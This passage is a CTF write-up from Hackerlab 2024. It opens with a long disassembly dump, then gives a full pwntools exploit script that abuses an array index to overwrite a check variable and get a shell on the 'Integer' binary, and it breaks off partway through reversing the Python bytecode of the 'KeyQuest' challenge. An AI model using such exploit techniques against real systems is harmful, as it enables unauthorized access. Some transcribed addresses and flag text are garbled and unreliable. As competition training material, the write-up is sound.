0x000493d4 <+498>: mov eax,DWORD PTR [ebp-0x50]
0x000493d9 <+503>: mov eax,DWORD PTR [eax]
0x000493da <+504>: sub esp,0xc
0x000493dd <+507>: push eax
0x000493de <+508>: call 0x0049060 <putchar@plt>
0x000493e1 <+511>: add esp,0x10
0x000493e4 <+514>: jmp 0x0049242 <main+92>
0x000493e6 <+516>: mov eax,DWORD PTR [ebp-0x50]
0x000493eb <+521>: mov eax,DWORD PTR [eax]
0x000493ec <+522>: sub esp,0xc
0x000493ef <+525>: push eax
0x000493f0 <+526>: call 0x0049060 <putchar@plt>
0x000493f3 <+529>: add esp,0x10
0x000493f6 <+532>: jmp 0x0049242 <main+92>
0x000493f8 <+534>: mov eax,DWORD PTR [ebp-0x50]
0x000493fd <+539>: mov eax,DWORD PTR [eax]
0x000493fe <+540>: sub esp,0xc
0x00049401 <+543>: push eax
0x00049402 <+544>: call 0x0049060 <putchar@plt>
0x00049405 <+547>: add esp,0x10
0x00049408 <+550>: jmp 0x0049242 <main+92>
0x0004940a <+552>: mov eax,DWORD PTR [ebp-0x50]
0x0004940f <+557>: mov eax,DWORD PTR [eax]
0x00049410 <+558>: sub esp,0xc
0x00049413 <+561>: push eax
0x00049414 <+562>: call 0x0049060 <putchar@plt>
0x00049417 <+565>: add esp,0x10
0x0004941a <+568>: jmp 0x0049242 <main+92>
0x0004941c <+570>: mov eax,DWORD PTR [ebp-0x50]
0x00049421 <+575>: mov eax,DWORD PTR [eax]
0x00049422 <+576>: sub esp,0xc
0x00049425 <+579>: push eax
0x00049426 <+580>: call 0x0049060 <putchar@plt>
0x00049429 <+583>: add esp,0x10
0x0004942c <+586>: jmp 0x0049242 <main+92>
0x0004942e <+588>: mov eax,DWORD PTR [ebp-0x50]
0x00049433 <+593>: mov eax,DWORD PTR [eax]
0x00049434 <+594>: sub esp,0xc
0x00049437 <+597>: push eax
0x00049438 <+598>: call 0x0049060 <putchar@plt>
0x0004943b <+601>: add esp,0x10
0x0004943e <+604>: jmp 0x0049242 <main+92>
0x00049440 <+606>: mov eax,DWORD PTR [ebp-0x50]
0x00049445 <+611>: mov eax,DWORD PTR [eax]
0x00049446 <+612>: sub esp,0xc
0x00049449 <+615>: push eax
0x0004944a <+616>: call 0x0049060 <putchar@plt>
0x0004944d <+619>: add esp,0x10
0x00049450 <+622>: jmp 0x0049242 <main+92>
0x00049452 <+624>: mov eax,DWORD PTR [ebp-0x50]
0x00049457 <+629>: mov eax,DWORD PTR [eax]
0x00049458 <+630>: sub esp,0xc
0x0004945b <+633>: push eax
0x0004945c <+634>: call 0x0049060 <putchar@plt>
0x0004945f <+637>: add esp,0x10
0x00049462 <+640>: jmp 0x0049242 <main+92>
0x00049464 <+642>: mov eax,DWORD PTR [ebp-0x50]
0x00049469 <+647>: mov eax,DWORD PTR [eax]
0x0004946a <+648>: sub esp,0xc
0x0004946d <+651>: push eax
0x0004946e <+652>: call 0x0049060 <putchar@plt>
0x00049471 <+655>: add esp,0x10
0x00049474 <+658>: jmp 0x0049242 <main+92>
0x00049476 <+660>: mov eax,DWORD PTR [ebp-0x50]
0x0004947b <+665>: mov eax,DWORD PTR [eax]
0x0004947c <+666>: sub esp,0xc
0x0004947f <+669>: push eax
0x00049480 <+670>: call 0x0049060 <putchar@plt>
0x00049483 <+673>: add esp,0x10
0x00049486 <+676>: jmp 0x0049242 <main+92>
0x00049488 <+678>: mov eax,DWORD PTR [ebp-0x50]
0x0004948d <+683>: mov eax,DWORD PTR [eax]
0x0004948e <+684>: sub esp,0xc
0x00049491 <+687>: push eax
0x00049492 <+688>: call 0x0049060 <putchar@plt>
0x00049495 <+691>: add esp,0x10
0x00049498 <+694>: jmp 0x0049242 <main+92>
0x0004949a <+696>: mov eax,DWORD PTR [ebp-0x50]
0x0004949f <+701>: mov eax,DWORD PTR [eax]
0x000494a0 <+702>: sub esp,0xc
0x000494a3 <+705>: push eax
0x000494a4 <+706>: call 0x0049060 <putchar@plt>
0x000494a7 <+709>: add esp,0x10
0x000494aa <+712>: jmp 0x0049242 <main+92>
0x000494ac <+714>: mov eax,DWORD PTR [ebp-0x50]
0x000494b1 <+719>: mov eax,DWORD PTR [eax]
0x000494b2 <+720>: sub esp,0xc
0x000494b5 <+723>: push eax
0x000494b6 <+724>: call 0x0049060 <putchar@plt>
0x000494b9 <+727>: add esp,0x10
0x000494bc <+730>: jmp 0x0049242 <main+92>
0x000494be <+732>: mov eax,DWORD PTR [ebp-0x50]
0x000494c3 <+737>: mov eax,DWORD PTR [eax]
0x000494c4 <+738>: sub esp,0xc
0x000494c7 <+741>: push eax
0x000494c8 <+742>: call 0x0049060 <putchar@plt>
0x000494cb <+745>: add esp,0x10
0x000494ce <+748>: jmp 0x0049242 <main+92>
0x000494d0 <+750>: mov eax,DWORD PTR [ebp-0x50]
0x000494d5 <+755>: mov eax,DWORD PTR [eax]
0x000494d6 <+756>: sub esp,0xc
0x000494d9 <+759>: push eax
0x000494da <+760>: call 0x0049060 <putchar@plt>
0x000494dd <+763>: add esp,0x10
0x000494e0 <+766>: jmp 0x0049242 <main+92>
0x000494e2 <+768>: mov eax,DWORD PTR [ebp-0x50]
0x000494e7 <+773>: mov eax,DWORD PTR [eax]
0x000494e8 <+774>: sub esp,0xc
0x000494eb <+777>: push eax
0x000494ec <+778>: call 0x0049060 <putchar@plt>
0x000494ef <+781>: add esp,0x10
0x000494f2 <+784>: jmp 0x0049242 <main+92>
0x000494f4 <+786>: mov eax,DWORD PTR [ebp-0x50]
0x000494f9 <+791>: mov eax,DWORD PTR [eax]
0x000494fa <+792>: sub esp,0xc
0x000494fd <+795>: push eax
0x000494fe <+796>: call 0x0049060 <putchar@plt>
0x00049501 <+799>: add esp,0x10
0x00049504 <+802>: jmp 0x0049242 <main+92>
0x00049506 <+804>: mov eax,DWORD PTR [ebp-0x50]
0x0004950b <+809>: mov eax,DWORD PTR [eax]
0x0004950c <+810>: sub esp,0xc
0x0004950f <+813>: push eax
0x00049510 <+814>: call 0x0049060 <putchar@plt>
0x00049513 <+817>: add esp,0x10
0x00049516 <+820>: jmp 0x0049242 <main+92>
0x00049518 <+822>: mov eax,DWORD PTR [ebp-0x50]
0x0004951d <+827>: mov eax,DWORD PTR [eax]
0x0004951e <+828>: sub esp,0xc
0x00049521 <+831>: push eax
0x00049522 <+832>: call 0x0049060 <putchar@plt>
0x00049525 <+835>: add esp,0x10
0x00049528 <+838>: jmp 0x0049242 <main+92>
0x0004952a <+840>: mov eax,DWORD PTR [ebp-0x50]
0x0004952f <+845>: mov eax,DWORD PTR [eax]
0x00049530 <+846>: sub esp,0xc
0x00049533 <+849>: push eax
0x00049534 <+850>: call 0x0049060 <putchar@plt>
0x00049537 <+853>: add esp,0x10
0x0004953a <+856>: jmp 0x0049242 <main+92>
0x0004953c <+858>: mov eax,DWORD PTR [ebp-0x50]
0x00049541 <+863>: mov eax,DWORD PTR [eax]
0x00049542 <+864>: sub esp,0xc
0x00049545 <+867>: push eax
0x00049546 <+868>: call 0x0049060 <putchar@plt>
0x00049549 <+871>: add esp,0x10
0x0004954c <+874>: jmp 0x0049242 <main+92>
0x0004954e <+876>: mov eax,DWORD PTR [ebp-0x50]
0x00049553 <+881>: mov eax,DWORD PTR [eax]
0x00049554 <+882>: sub esp,0xc
0x00049557 <+885>: push eax
0x00049558 <+886>: call 0x0049060 <putchar@plt>
0x0004955b <+889>: add esp,0x10
0x0004955e <+892>: jmp 0x0049242 <main+92>
0x00049560 <+894>: mov eax,DWORD PTR [ebp-0x50]
0x00049565 <+899>: mov eax,DWORD PTR [eax]
0x00049566 <+900>: sub esp,0xc
0x00049569 <+903>: push eax
0x0004956a <+904>: call 0x0049060 <putchar@plt>
0x0004956d <+907>: add esp,0x10
0x00049570 <+910>: jmp 0x0049242 <main+92>
0x00049572 <+912>: mov eax,DWORD PTR [ebp-0x50]
0x00049577 <+917>: mov eax,DWORD PTR [eax]
0x00049578 <+918>: sub esp,0xc
0x0004957b <+921>: push eax
0x0004957c <+922>: call 0x0049060 <putchar@plt>
0x0004957f <+925>: add esp,0x10
0x00049582 <+928>: jmp 0x0049242 <main+92>
0x00049584 <+930>: mov eax,DWORD PTR [ebp-0x50]
0x00049589 <+935>: mov eax,DWORD PTR [eax]
0x0004958a <+936>: sub esp,0xc
0x0004958d <+939>: push eax
0x0004958e <+940>: call 0x0049060 <putchar@plt>
0x00049591 <+943>: add esp,0x10
0x00049594 <+946>: jmp 0x0049242 <main+92>
0x00049596 <+948>: mov eax,DWORD PTR [ebp-0x50]
0x0004959b <+953>: mov eax,DWORD PTR [eax]
0x0004959c <+954>: sub esp,0xc
0x0004959f <+957>: push eax
0x000495a0 <+958>: call 0x0049060 <putchar@plt>
0x000495a3 <+961>: add esp,0x10
0x000495a6 <+964>: jmp 0x0049242 <main+92>
0x000495a8 <+966>: mov eax,DWORD PTR [ebp-0x50]
0x000495ad <+971>: mov eax,DWORD PTR [eax]
0x000495ae <+972>: sub esp,0xc
0x000495b1 <+975>: push eax
0x000495b2 <+976>: call 0x0049060 <putchar@plt>
0x000495b5 <+979>: add esp,0x10
0x000495b8 <+982>: jmp 0x0049242 <main+92>
0x000495ba <+984>: mov eax,DWORD PTR [ebp-0x50]
0x000495bf <+989>: mov eax,DWORD PTR [eax]
0x000495c0 <+990>: sub esp,0xc
0x000495c3 <+993>: push eax
0x000495c4 <+994>: call 0x0049060 <putchar@plt>
0x000495c7 <+997>: add esp,0x10
0x000495ca <+1000>: jmp 0x0049242 <main+92>
0x000495cc <+1002>: mov eax,DWORD PTR [ebp-0x50]
0x000495d1 <+1007>: mov eax,DWORD PTR [eax]
0x000495d2 <+1008>: sub esp,0xc
0x000495d5 <+1011>: push eax
0x000495d6 <+1012>: call 0x0049060 <putchar@plt>
0x000495d9 <+1015>: add esp,0x10
0x000495dc <+1018>: jmp 0x0049242 <main+92>
0x000495de <+1020>: mov eax,DWORD PTR [ebp-0x50]
0x000495e3 <+1025>: mov eax,DWORD PTR [eax]
0x000495e4 <+1026>: sub esp,0xc
0x000495e7 <+1029>: push eax
0x000495e8 <+1030>: call 0x0049060 <putchar@plt>
0x000495eb <+1033>: add esp,0x10
0x000495ee <+1036>: jmp 0x0049242 <main+92>
0x000495f0 <+1038>: mov eax,DWORD PTR [ebp-0x50]
0x000495f5 <+1043>: mov eax,DWORD PTR [eax]
0x000495f6 <+1044>: sub esp,0xc
0x000495f
```

I ran the binary to get the address of those value

```

A ~-Desktop/CTF/Hackerlab24/Integer > gdb-gef chall1
Reading symbols from chall1...
(No debugging symbols found in chall1)
r
Error while writing index for '/home/mark/Desktop/CTF/Hackerlab24/Integer/chall1': No debugging symbols
gef for linux ready, type 'gef' to start, 'gef_config' to configure
49 commands loaded and 5 functions added for GDB 13.2 in 0.01ms using Python engine 3.11
gef> r
Starting program: /home/mark/Desktop/CTF/Hackerlab24/Integer/chall1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Veuillez entrer votre pseudonyme et patienter : ^C
Program received signal SIGINT, Interrupt.
__libc_start in __kernel_vsyscall ()

[ Legend: Modified register | Code | Heap | Stack | String ]

registers
eax : 0xffffffff
ecx : 0x0
edx : 0xffffffff20 -> 0x00000000
edx : 0x1
edx : 0xffffffffde0 -> 0xffffffff78 -> 0x00000000
ebp : 0xffffffff78 -> 0x00000000
esi : 0xf7e1dff4 -> 0x0021dd8c
edi : 0xf7fcbab0 -> 0x00000000
edi : 0xf7fcbab0 -> __kernel_vsyscall=9> pop ebx
help
gef> [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
eax: 0x23 ebx: 0x2b ecx: 0x2b edx: 0x00000000

stack
0xffffffffde0+0x0000: 0xffffffff78 -> 0x00000000 - $esp
0xffffffffde4+0x0004: 0x00000001
0xffffffffde8+0x0008: 0xffffffff20 -> 0x00000000
0xffffffffdec+0x000c: 0xf7fcbab7 -> 0xffff003d ("=?")
0xffffffffdf0+0x0010: 0xffffffff78 -> 0x00000000
0xffffffffdf4+0x0014: 0xf7fcbab0 -> <di runtime_resolve+16> pop edx
0xffffffffdf8+0x0018: 0xffffffff20 -> 0x00000000
0xffffffffdfc+0x001c: 0xf7fcbab0 -> <read+0> push edi

code:x86:32
0xf7fc8583 < __kernel_vsyscall+3> mov     ebp, esp
0xf7fc8585 < __kernel_vsyscall+5> sysenter
0xf7fc8587 < __kernel_vsyscall+7> int     0x80
-> 0xf7fc8589 < __kernel_vsyscall+9> pop     ebp
0xf7fc858a < __kernel_vsyscall+10> pop     edx
0xf7fc858b < __kernel_vsyscall+11> pop     ecx
0xf7fc858c < __kernel_vsyscall+12> ret
0xf7fc858d < __kernel_vsyscall+13> int3
0xf7fc858e nop

threads
[#0] Id 1, Name: "chall1", stopped 0xf7fc8589 in __kernel_vsyscall (), reason: SIGINT

trace
[#0] 0xf7fc8589 -> __kernel_vsyscall()
[#1] 0xf7f00a873 -> __GI__libc_read(fd=0x0, buf=0xffffffff20, nbytes=0x1)
[#2] 0x804928d -> main()

gef> x $ebp-0x50
0xffffffff20: 0xf7fda30
gef> x $ebp-0x4c
0xf7fda3c: 0x0000001c
gef>

```

The purpose is to calculate the offset from our input array to that variable

In this case it was

```

A ~-Desktop/CTF/Hackerlab24/Integer > python3
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xffffffff20 - 0xffffffff2c
-4
>>>

```

That's equivalent to `-1` since `int` has size of 4 bytes

This means `array[-1] == u-var (uninitilialized variable)`

I'm going to start the arbitrary write from the least significant bit

So we write at `array[-4]`, `array[-3]`, `array[-2]`, `array[-1]`


But before that, we should note that the integer value check does not affect our write operation because each byte of the expected value is greater than `0x91` which hits the else condition and does nothing

Here's the code I wrote for it

```
54
55 def solve():
56     check = [0xbf, 0xff, 0xfa, 0xbc]
57
58     io.recvuntil("patienter :")
59     io.sendline(p8(0x8))
60     io.sendline(p8(0x8))
61     io.sendline(p8(0x8))
62     io.sendline(p8(0x8))
63     io.sendline(p8(check[3]))
64     io.sendline(p8(0x6))
65
66
67     io.interactive()
68
69 def main():
70
71     init()
72     solve()
73
74 if __name__ == '__main__':
75     main()
76
```

Basically it would set `idx` to `-4` then make value `0xbc` and stores it at `array[-4]`


Running that in a debugger shows that it indeed works



```
File Edit View Search Terminal Help
~/Desktop/CTF/Hackerlab24/Integer > python3 solve.py GDB
[ ] /home/mark/Desktop/CTF/Hackerlab24/Integer/chall1
[ ] /home/mark/Desktop/CTF/Hackerlab24/Integer/chall1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Starting local process '/usr/bin/gdbserver': pid 3156866
[ ] running in new terminal: ['/usr/bin/gdb', '-q', '/home/mark/Desktop/CTF/Hackerlab24/Integer/chall1', '-x', '/tmp/pwnw_jm20_k.gdb']
[ ] Switching to interactive mode
$
```

Before Write \$ebp-0x50 is the random value

```
File Edit View Terminal Tabs Help
pwndbg> x $ebp-0x50
0xf7f92a30: 0xf7f92a30
pwndbg>
```




Just in case that isn't visible when the program started `$ebp-0x50` was a random value

Then after setting `array[-4] = 0xbc` we see that it indeed changes meaning we got a successful write

But one issue was that `array[-3]` was set to `0x6` which is the value we passed to trigger the `write` condition

This isn't really a problem as we can now write to `array[-3]` with the intended value and repeat the process till we set the whole variable to the expected one

One thing to note again is that the `idx` incremented by 2



```
markhaxor: ~/Desktop/CTF/Hackerlab24/Integer
File Edit View Search Terminal Help

[ ] ~/Desktop/CTF/Hackerlab24/Integer > python3 solve.py GDB
[ ] ' /home/mark/Desktop/CTF/Hackerlab24/Integer/chall1'
Arch: 1386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x00400000)
[*] Starting local process '/usr/bin/gdbserver': pid 3331685
[ ] running in new terminal: [ '/usr/bin/gdb', '-q', '/home/mark/Desktop/CTF/Hackerlab24/Integer/chall1', '-x', '/tmp/pwnvd6gu7nn.gdb' ]
[ ] Switching to interactive mode
$
```

```
GDB: Python
File Edit View Terminal Tabs Help

0xf7d0a8d0 <read+144>      mov     edx, dword ptr [esi - 0x134]
0xf7d0a8d6 <read+150>      neg     eax
0xf7d0a8d8 <read+152>      mov     dword ptr gs:[edx], eax
0xf7d0a8db <read+155>      mov     eax, 0xffffffff
0xf7d0a8e0 <read+160>      jmp     read+58             <read+58>
                                [ STACK ]
00:0000 esp 0xffff978260 -> 0xffff9782f8 ← 0x0
01:0004 -094 0xffff978264 ← 0x1
02:0008 -090 0xffff978268 -> 0xffff9782a0 ← 0xa /* '\n' */
03:000c -08c 0xffff97826c -> 0xffff978273 (read+51) ← cmp eax, 0xffffffff /* '=' */
04:0010 -088 0xffff978270 -> 0xffff9782f8 ← 0x0
05:0014 -084 0xffff978274 -> 0x7717d60 (_dl_runtime_resolve+16) ← pop edx
06:0018 -080 0xffff978278 -> 0x1
07:001c -07c 0xffff97827c -> 0x804bfff4 (_GLOBAL_OFFSET_TABLE_) -> 0x804bf00 (_DYNAMIC) ← 0x1
                                [ BACKTRACE ]
0 0xf7f04589 _kernel_vsyscall+9
1 0xf7d0a873 read+51
2 0x804928d main+167
3 0xf7c237c5 _libc_start_call_main+117
4 0xf7c23888 _libc_start_main+136
5 0x80490f8 _start+40

pwndbg> x $ebp-0x54
pwndbg> x $ebp-0x54
0xffff9782ad: 0xffffffff
pwndbg>
```

```
markhaxor: ~
File Edit View Search Terminal Help

$ # ~ > python3
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license()" for more information.
>>> import ctypes
>>> ctypes.c_int(0xffffffff)
c_int(-2)
>>>
```

So I had to set it to `0` by incrementing by 2 which is possible by sending `0x90 | 0x4`

The reason it incremented by two was because it actually made 2 writes `0x06bc` and remember that after it stores our input in `array[idx]` it would increment it by 1

That's the reason!

Moving on we set `array[-3] = 0xfa`

```
55 def solve():
56     check = [0xbf, 0xff, 0xfa, 0xbc]
57
58     io.recvuntil("patienter :")
59     io.sendline(p8(0x8))
60     io.sendline(p8(0x8))
61     io.sendline(p8(0x8))
62     io.sendline(p8(0x8))
63     io.sendline(p8(check[3]))
64     io.sendline(p8(0x6))
65     io.sendline(p8(0x90))
66     io.sendline(p8(0x90))
67
68     io.sendline(p8(0x8))
69     io.sendline(p8(0x8))
70     io.sendline(p8(0x8))
71     io.sendline(p8(check[2]))
72     io.sendline(p8(0x6))
73
74     io.interactive()
75
76 def main():
77
78     init()
79     solve()
80
81 if __name__ == '__main__':
82     main()
83
```

We can confirm it worked

```
gdb: x $ebp-0x50
0xffffd18: 0xf786fab0
gdb: x $ebp-0x54
0xffffd14: 0xffffffff
gdb: x $ebp-0x50
0xffffd18: 0xf786fab0
gdb: x $ebp-0x54
0xffffd14: 0xffffffff
```

This time around our `idx` is `-1`

We again set it to `0` and store `array[-2] = 0xff`

Repeating the process till we make the whole write would spawn a shell because the comparison of `$ebp-0x50` to `1073743172` would return `True`

Here's my final solve script

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('chall1')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *main+281
continue
'''.format(**locals())

#=====
#                               EXPLOIT GOES HERE
#=====

def init():
    global io

    io = start()

# 0x804925a <main+116>          cmp     DWORD PTR [ebp-0x50], 0xbffffabc

# idx = $ebp-0x54
# store = $ebp-0x4c
# check = $ebp-0x50

# 0x6 -> trigger write
# 0x8 -> decrement index
# 0x90 -> increment index
```



```

def solve():
    check = [0xbf, 0xff, 0xfa, 0xbc]

    io.recvuntil("patienter :")
    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(check[3]))
    io.sendline(p8(0x6))
    io.sendline(p8(0x90))
    io.sendline(p8(0x90))

    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(check[2]))
    io.sendline(p8(0x6))
    io.sendline(p8(0x90))

    io.sendline(p8(0x8))
    io.sendline(p8(0x8))
    io.sendline(p8(check[1]))
    io.sendline(p8(0x6))

    io.sendline(p8(0x8))
    io.sendline(p8(check[0]))
    io.sendline(p8(0x6))

    io.interactive()

def main():

    init()
    solve()

if __name__ == '__main__':
    main()

```

The program handles `newline` character so `io.sendline()` works fine!

Running it remotely spawns a shell and we get the flag

```
A ~/Desktop/CTF/Hackerlab24/Integer > python3 solve.py REMOTE 135.125.107.236 5024
[ ] '/home/mark/Desktop/CTF/Hackerlab24/Integer/chall1'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8040000)
[*] Opening connection to 135.125.107.236 on port 5024: Done
[ ] Switching to interactive mode
/bin/bash: line 2: '$\006': command not found
$ ls -al
total 40
drwxr-xr-x 1 root pwn   4096 May 31 11:03 .
drwxr-xr-x 1 root root  4096 May 31 11:03 ..
-r--r----- 1 root pwn    43 May 31 10:51 .flag_789502.txt
-r-xr-x--- 1 root pwn  15184 May 31 10:51 chall1
-r-xr-x--- 1 root pwn    36 May 31 10:51 redir.sh
$ cat .flag_789502.txt
HLB2024{int_overflow_exploitation_78956}}
$
```

Flag: HLB2024{int_overflow_exploitation_78956))}

KeyQuest

Challenge

1 Solves



KeyQuest

200

Reverse

[FR]

Réalisez un audit du système d'authentification de la centrale électrique.

L'objectif est de déterminer s'il est possible de retrouver la clé de l'utilisateur BJIZ-HACKERLAB.

Voici l'OPCODE de la fonction.

[EN]

Conduct an audit of the authentication system at the power plant.

The objective is to determine if it is possible to retrieve a user's key from their username.

Here is the function's OPCODE.

Author: 5c0r7

 opcode

Flag

Submit

We are given a python bytecode to reverse engineer

```
Δ ~/Desktop/CTF/Hackerlab24/Keyquest > cat opcode
6      0 LOAD_CONST      1 ('\n password = whippin3(key)(real_password) to keep real_password safe\n so crypted_password = dpjLgviGRJJN1IUUFeKull8\n I deleted real_passwo
rd from this check function\n ')
2 STORE_FAST
11     4 LOAD_CONST      2 (-9)
6 STORE_FAST
12     8 LOAD_CONST      3 (<code object whippin5 at 0x7f63b6b86c90, file "keygen2.py", line 12>)
10 LOAD_CONST      4 ('check.<locals>.whippin5')
12 MAKE_FUNCTION    0
14 STORE_FAST      4 (whippin5)
16    16 LOAD_CONST      5 (<code object whippin3 at 0x7f63b6b4ca80, file "keygen2.py", line 16>)
18 LOAD_CONST      6 ('check.<locals>.whippin3')
20 MAKE_FUNCTION    0
22 STORE_FAST      5 (whippin3)
22    24 LOAD_CONST      7 (<code object whippin4 at 0x7f63b6b4cb30, file "keygen2.py", line 22>)
26 LOAD_CONST      8 ('check.<locals>.whippin4')
28 MAKE_FUNCTION    0
30 STORE_FAST      6 (whippin4)
25    32 LOAD_FAST       4 (whippin5)
34 LOAD_FAST       6 (whippin4)
36 LOAD_FAST       0 (username)
38 LOAD_GLOBAL      0 (real_password)
40 CALL_FUNCTION     2
42 CALL_FUNCTION     1
44 LOAD_FAST       1 (y_key)
46 COMPARE_OP       2 (==)
48 POP_JUMP_IF_FALSE 86
26    50 LOAD_FAST       0 (username)
52 LOAD_CONST      9 ('BJIZ-HACKERLAB')
54 COMPARE_OP       2 (==)
56 POP_JUMP_IF_FALSE 76
27    58 LOAD_GLOBAL     1 (print)
60 LOAD_CONST     10 ('Congratz, you can use this flag to validate : HLB2024{')
62 LOAD_FAST       1 (y_key)
64 BINARY_ADD
66 LOAD_CONST     11 ('}')
68 BINARY_ADD
70 CALL_FUNCTION     1
72 POP_TOP
74 JUMP_ABSOLUTE    94
29  >> 76 LOAD_GLOBAL     1 (print)
78 LOAD_CONST     12 ('Good, but the key of BJIZ-HACKERLAB' is the flag")
80 CALL_FUNCTION     1
82 POP_TOP
84 JUMP_FORWARD     0 (to 84)
```

op 29v6 | W: (63% at 1Phone) 172.20.10.5 | E: show | CPU 21.55% 01:34 378.9 GiB | 9.86 / 2.3 GiB | 12.2 GiB 2024-06-02 22:43:45

```
31  >> 86 LOAD_GLOBAL          1 (print)
      88 LOAD_CONST              13 ('Error, checking failed')
      90 CALL_FUNCTION            1
      92 POP_TOP
      94 LOAD_CONST              0 (None)
      96 RETURN_VALUE

Disassembly of <code object whippin5 at 0x7f63b6b86c90, file "keygen2.py", line 12>:
13      0 LOAD_GLOBAL          0 (md0)
      2 CALL_FUNCTION            0
      4 STORE_FAST             1 (sh)

14      6 LOAD_FAST             1 (sh)
      8 LOAD_METHOD              1 (update)
     10 LOAD_FAST              0 (inpt)
     12 CALL_METHOD             1
     14 POP_TOP

15     16 LOAD_FAST             1 (sh)
     18 LOAD_METHOD              2 (hexdigest)
     20 CALL_METHOD              0
     22 RETURN_VALUE

Disassembly of <code object whippin3 at 0x7f63b6b4ca80, file "keygen2.py", line 16>:
17      0 LOAD_GLOBAL          0 (string)
      2 LOAD_ATTR              1 (ascii_lowercase)
      4 STORE_FAST             1 (lc)

18      6 LOAD_GLOBAL          0 (string)
      8 LOAD_ATTR              2 (ascii_uppercase)
     10 STORE_FAST             2 (uc)

19     12 LOAD_GLOBAL          0 (string)
     14 LOAD_ATTR              3 (digits)
     16 STORE_FAST            3 (dc)

20     18 LOAD_GLOBAL          4 (str)
     20 LOAD_METHOD            5 (maketrans)
     22 LOAD_FAST              1 (lc)
     24 LOAD_FAST              2 (uc)
     26 BINARY_ADD              3 (dc)
     28 LOAD_FAST              3 (dc)
     30 BINARY_ADD              1 (lc)
     32 LOAD_FAST              0 (n)
     34 LOAD_FAST              0 (None)
     36 LOAD_CONST              2
     38 BUILD_SLICE
     40 BINARY_SUBSCR
     42 LOAD_FAST              1 (lc)
     44 LOAD_CONST              0 (None)
     46 LOAD_FAST              0 (n)
     48 BUILD_SLICE
     50 BINARY_SUBSCR
```

```
Disassembly of <code object whippin4 at 0x7f63b6b4cb30, file "keygen2.py", line 22>:
23      0 LOAD_FAST             1 (b)
      2 LOAD_GLOBAL            0 (len)
      4 LOAD_FAST              0 (a)
      6 CALL_FUNCTION           1
      8 LOAD_GLOBAL            0 (len)
     10 LOAD_FAST              1 (b)
     12 CALL_FUNCTION           1
     14 BINARY_FLOOR_DIVIDE      1 (l)
     16 LOAD_CONST              1 (l)
     18 BINARY_ADD
     20 BINARY_MULTIPLY
     22 STORE_FAST             2 (b_etx)

24     24 LOAD_CONST              2 (b'')
     26 LOAD_METHOD              1 (join)
     28 LOAD_CONST              3 (<code object <genexpr> at 0x7f63b6b4c9d0, file "keygen2.py", line 24>)
     30 LOAD_CONST              4 ('check.<locals>.whippin4.<locals>.<genexpr>')
     32 MAKE_FUNCTION            0
     34 LOAD_GLOBAL            2 (zip)
     36 LOAD_FAST              0 (a)
     38 LOAD_METHOD              3 (encode)
     40 CALL_METHOD              0
     42 LOAD_FAST              2 (b_etx)
     44 LOAD_METHOD              3 (encode)
     46 CALL_METHOD              0
     48 CALL_FUNCTION            2
     50 GET_ITER
     52 CALL_FUNCTION            1
     54 CALL_METHOD              1
     56 RETURN_VALUE

Disassembly of <code object <genexpr> at 0x7f63b6b4c9d0, file "keygen2.py", line 24>:
24  >>  0 LOAD_FAST             0 (.0)
      2 FOR_ITER                26 (to 30)
      4 UNPACK_SEQUENCE         2
      6 STORE_FAST             1 (c)
      8 STORE_FAST             2 (d)
     10 LOAD_GLOBAL            0 (chr)
     12 LOAD_FAST              1 (c)
     14 LOAD_FAST              2 (d)
     16 BINARY_XOR              1
     18 CALL_FUNCTION            1
     20 LOAD_METHOD              1 (encode)
     22 CALL_METHOD              0
     24 YIELD_VALUE
     26 POP_TOP
     28 JUMP_ABSOLUTE           2
     30 LOAD_CONST              0 (None)
     32 RETURN_VALUE

None
```

I didn't give a screenshot of the whole bytecode

First thing I did was to translate what it does exactly

Using this python [docs](#) we can reference what each opcode does

I'm not familiar with python bytecode reversing well so I started translating from the part that doesn't look much

Disassembly of <code object whippin5 at 0x7f63b6b86c90, file "keygen2.py", line 12>:

13	0	LOAD_GLOBAL	0	(md0)
	2	CALL_FUNCTION	0	
	4	STORE_FAST	1	(sh)
14	6	LOAD_FAST	1	(sh)
	8	LOAD_METHOD	1	(update)
	10	LOAD_FAST	0	(inpt)
	12	CALL_METHOD	1	
	14	POP_TOP		
15	16	LOAD_FAST	1	(sh)
	18	LOAD_METHOD	2	(hexdigest)
	20	CALL_METHOD	0	
	22	RETURN_VALUE		

Ok what this does is basically this:

```
def whippin5(inpt):  
    sh = md0()  
    sh.update(inpt)  
    return sh.hexdigest()
```

There seems to be a mistake on the hashing function as md0 doesn't exist? I just assumed it's rather md5

Ok moving on

Disassembly of <code object whippin3 at 0x7f63b6b4ca80, file "keygen2.py", line 16>:

17	0	LOAD_GLOBAL	0	(string)
	2	LOAD_ATTR	1	(ascii_lowercase)
	4	STORE_FAST	1	(lc)
18	6	LOAD_GLOBAL	0	(string)
	8	LOAD_ATTR	2	(ascii_uppercase)
	10	STORE_FAST	2	(uc)
19	12	LOAD_GLOBAL	0	(string)
	14	LOAD_ATTR	3	(digits)
	16	STORE_FAST	3	(dc)
20	18	LOAD_GLOBAL	4	(str)

20	LOAD_METHOD	5 (maketrans)
